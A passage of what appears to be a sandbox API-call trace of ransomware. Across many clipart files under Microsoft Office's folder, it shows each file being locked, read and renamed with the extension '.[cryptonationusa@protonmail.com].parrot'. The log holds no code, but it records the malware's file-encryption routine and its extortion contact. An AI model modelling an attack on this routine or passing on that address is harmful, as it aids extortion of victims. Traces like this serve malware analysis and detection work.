[0143.467] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.467] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.469] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.469] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1653a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1653a, lpOverlapped=0x0) returned 1 [0143.524] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.525] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16652, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.525] CloseHandle (hObject=0x27c) returned 1 [0143.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.530] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13f35, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.530] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.530] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.531] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.531] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e1d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13e1d, lpOverlapped=0x0) returned 1 [0143.536] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.537] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13f35, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.537] CloseHandle (hObject=0x27c) returned 1 [0143.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.542] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15434, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.542] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.542] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.543] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.544] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1531c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1531c, lpOverlapped=0x0) returned 1 [0143.548] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.550] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15434, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.550] CloseHandle (hObject=0x27c) returned 1 [0143.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.554] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ae4f, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.554] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.555] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.556] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ad37, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ad37, lpOverlapped=0x0) returned 1 [0143.562] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.565] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ae4f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.565] CloseHandle (hObject=0x27c) returned 1 [0143.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.570] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x179ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.570] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.570] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.571] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.572] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x178d2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x178d2, lpOverlapped=0x0) returned 1 [0143.578] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.581] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x179ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.581] CloseHandle (hObject=0x27c) returned 1 [0143.581] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.585] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17861, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.585] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.585] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.587] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.587] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17749, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x17749, lpOverlapped=0x0) returned 1 [0143.593] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.596] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17861, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.596] CloseHandle (hObject=0x27c) returned 1 [0143.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.600] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15b97, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.600] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.600] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.601] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.602] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15a7f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15a7f, lpOverlapped=0x0) returned 1 [0143.608] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.609] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15b97, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.609] CloseHandle (hObject=0x27c) returned 1 [0143.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.613] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16107, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.613] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.613] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.615] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.615] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15fef, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15fef, lpOverlapped=0x0) returned 1 [0143.620] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.622] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16107, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.622] CloseHandle (hObject=0x27c) returned 1 [0143.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.628] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ab05, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.628] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.628] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.629] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.630] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a9ed, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a9ed, lpOverlapped=0x0) returned 1 [0143.635] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.638] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ab05, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.638] CloseHandle (hObject=0x27c) returned 1 [0143.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.641] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x194ff, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.641] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.642] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.679] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.679] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x193e7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x193e7, lpOverlapped=0x0) returned 1 [0143.688] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.692] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x194ff, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.692] CloseHandle (hObject=0x27c) returned 1 [0143.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.699] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x150a2, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.699] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.699] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.701] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.701] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14f8a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14f8a, lpOverlapped=0x0) returned 1 [0143.709] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.712] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x150a2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.712] CloseHandle (hObject=0x27c) returned 1 [0143.712] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.739] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a50c, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.740] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.740] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.741] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.741] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a3f4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a3f4, lpOverlapped=0x0) returned 1 [0143.747] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.750] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a50c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.750] CloseHandle (hObject=0x288) returned 1 [0143.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.754] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18bdc, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.754] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.755] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.756] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.756] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18ac4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x18ac4, lpOverlapped=0x0) returned 1 [0143.763] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.766] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18bdc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.766] CloseHandle (hObject=0x288) returned 1 [0143.767] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.771] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c00f, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.771] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.771] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0143.774] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.774] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bef7, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1bef7, lpOverlapped=0x0) returned 1 [0143.781] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.785] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c00f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0143.785] CloseHandle (hObject=0x288) returned 1 [0143.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0143.789] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17f06, nNumberOfBytesToLockHigh=0x0) returned 1 [0143.789] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0143.789] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: 